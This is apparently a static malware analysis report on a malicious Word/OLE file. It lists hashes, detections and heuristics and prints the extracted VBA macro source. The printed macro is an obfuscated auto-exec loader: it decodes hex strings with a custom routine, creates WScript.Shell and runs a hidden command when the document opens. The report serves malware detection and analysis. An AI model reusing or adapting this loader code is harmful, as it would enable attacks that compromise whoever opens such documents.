Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7f732fa506dfcfc2…

MALICIOUS

Office (OLE)

36.5 KB Created: 2018-05-24 07:12:00 Authoring application: Microsoft Office Word First seen: 2018-08-05
MD5: f7012f8de5e28e7684da2382931b7423 SHA-1: 64894fa1b8a1289937ed4d3d289b6874d7882ee9 SHA-256: 7f732fa506dfcfc290c43772747aefab9010c91e4647770456f8618fcdc0a316
344 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains heavily obfuscated VBA macros, including an auto-exec loader within the Workbook_Open subroutine. The script utilizes CreateObject and CallByName to execute a dynamically constructed command, likely a PowerShell command, indicated by the heuristic 'OLE_VBA_PCODE_AUTOEXEC_EXEC'. The obfuscated string '928E9EADA4ABAF698EA3A0A7A7' is likely a reference to 'WScript.Shell', and '8E7C828D9A8785' is a deobfuscated string used to call a function that likely resolves to a malicious URL or command.

Heuristics 10

  • ClamAV: Xls.Malware.Valyria-6700357-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6700357-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3784 bytes
SHA-256: 1e74bf434f7dc5f9a08d49ba5b7460e35318cf360cb57b7a8493e45c0878ea8d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function ac0I4YNKJG0() As String
Dim aac0I4YNKJG0 As String
aac0I4YNKJG0 = "9D8875719D9D899D9D9D9D9DB762989D9D9DA36B9D9D9D9D9D9D6D929D876C9D9D9D90C29D9D9D9D9D77847DD7776C979D7D9DA7AA9DDCB89D9D9D79B8B59D9D9DCF84659F9D8CC59891669D9DC19D9D5F9D9D67D69D9D8F9D67CB9D9D9CD39DDDAC659D659D9D9D8D6D779D9D9D8B87A878BD9DD58C9F9D9DB1959DAED49D9D9D7572D79D9D619D76A79D9D9D9DA39E9D9D9D9D7FAE6A8F9D9D9D8C9D9D9D826E9D769D9D7DB99DBD9D9DB2C59D9DA79D9D9D749D9D9D65A59DA4A19DD59D9DBBDB9D856268DC9D9D9DC9A89D859D9D619D6C88799D6EC69D9D76A39DB29D9D9DB87F9D9DC39D8574B99DC7777CD49DD19DA7ADB19D9D749D7F9DC8D79D74D99DCDD09DC97EA1D960639DB19D9D9D9DD29D9D9D9D5F9D699D9D9D"
ac0I4YNKJG0 = aac0I4YNKJG0
End Function

Sub Workbook_Open()
    Application.Run "ThisWorkbook." & F_GNO("8E7C828D9A8785")
End Sub
Public Sub ABM_IGJ()
    Dim WY_XL As Object: Set WY_XL = VBA.CreateObject(F_GNO("928E9EADA4ABAF698EA3A0A7A7"))
    CallByName WY_XL, "Run", VbMethod, F_GNO(ActiveDocument.Variables("W0SSB").Value), 0, True
End Sub
Private Function acGWZKVY69G() As String
Dim aacGWZKVY69G As String
aacGWZKVY69G = "9D8875719D9D899D9D9D9D9DB762989D9D9DA36B9D9D9D9D9D9D6D929D876C9D9D9D90C29D9D9D9D9D77847DD7776C979D7D9DA7AA9DDCB89D9D9D79B8B59D9D9DCF84659F9D8CC59891669D9DC19D9D5F9D9D67D69D9D8F9D67CB9D9D9CD39DDDAC659D659D9D9D8D6D779D9D9D8B87A878BD9DD58C9F9D9DB1959DAED49D9D9D7572D79D9D619D76A79D9D9D9DA39E9D9D9D9D7FAE6A8F9D9D9D8C9D9D9D826E9D769D9D7DB99DBD9D9DB2C59D9DA79D9D9D749D9D9D65A59DA4A19DD59D9DBBDB9D856268DC9D9D9DC9A89D859D9D619D6C88799D6EC69D9D76A39DB29D9D9DB87F9D9DC39D8574B99DC7777CD49DD19DA7ADB19D9D749D7F9DC8D79D74D99DCDD09DC97EA1D960639DB19D9D9D9DD29D9D9D9D5F9D699D9D9D"
acGWZKVY69G = aacGWZKVY69G
End Function

Public Sub Document_Open()
    Application.Run F_GNO("8E7C828D9A8785")
End Sub
Public Function F_GNO(ByVal WY_XL As String)
   Dim O_K As String
   Dim CUG_RSU As Long
   For CUG_RSU = 1 To Len(WY_XL) Step 2
        O_K = O_K & Chr(CLng(Chr(38) & Chr(72) & Mid(WY_XL, CUG_RSU, 2)) - 59)
   Next
   F_GNO = O_K
End Function
Private Function ac3D0DRXDTL() As String
Dim aac3D0DRXDTL As String
aac3D0DRXDTL = "9D8875719D9D899D9D9D9D9DB762989D9D9DA36B9D9D9D9D9D9D6D929D876C9D9D9D90C29D9D9D9D9D77847DD7776C979D7D9DA7AA9DDCB89D9D9D79B8B59D9D9DCF84659F9D8CC59891669D9DC19D9D5F9D9D67D69D9D8F9D67CB9D9D9CD39DDDAC659D659D9D9D8D6D779D9D9D8B87A878BD9DD58C9F9D9DB1959DAED49D9D9D7572D79D9D619D76A79D9D9D9DA39E9D9D9D9D7FAE6A8F9D9D9D8C9D9D9D826E9D769D9D7DB99DBD9D9DB2C59D9DA79D9D9D749D9D9D65A59DA4A19DD59D9DBBDB9D856268DC9D9D9DC9A89D859D9D619D6C88799D6EC69D9D76A39DB29D9D9DB87F9D9DC39D8574B99DC7777CD49DD19DA7ADB19D9D749D7F9DC8D79D74D99DCDD09DC97EA1D960639DB19D9D9D9DD29D9D9D9D5F9D699D9D9D"
ac3D0DRXDTL = aac3D0DRXDTL
End Function

Sub SAGR_LJ()
    ABM_IGJ
End Sub
Private Function ac2NXD3Y48W() As String
Dim aac2NXD3Y48W As String
aac2NXD3Y48W = "9D8875719D9D899D9D9D9D9DB762989D9D9DA36B9D9D9D9D9D9D6D929D876C9D9D9D90C29D9D9D9D9D77847DD7776C979D7D9DA7AA9DDCB89D9D9D79B8B59D9D9DCF84659F9D8CC59891669D9DC19D9D5F9D9D67D69D9D8F9D67CB9D9D9CD39DDDAC659D659D9D9D8D6D779D9D9D8B87A878BD9DD58C9F9D9DB1959DAED49D9D9D7572D79D9D619D76A79D9D9D9DA39E9D9D9D9D7FAE6A8F9D9D9D8C9D9D9D826E9D769D9D7DB99DBD9D9DB2C59D9DA79D9D9D749D9D9D65A59DA4A19DD59D9DBBDB9D856268DC9D9D9DC9A89D859D9D619D6C88799D6EC69D9D76A39DB29D9D9DB87F9D9DC39D8574B99DC7777CD49DD19DA7ADB19D9D749D7F9DC8D79D74D99DCDD09DC97EA1D960639DB19D9D9D9DD29D9D9D9D5F9D699D9D9D"
ac2NXD3Y48W = aac2NXD3Y48W
End Function

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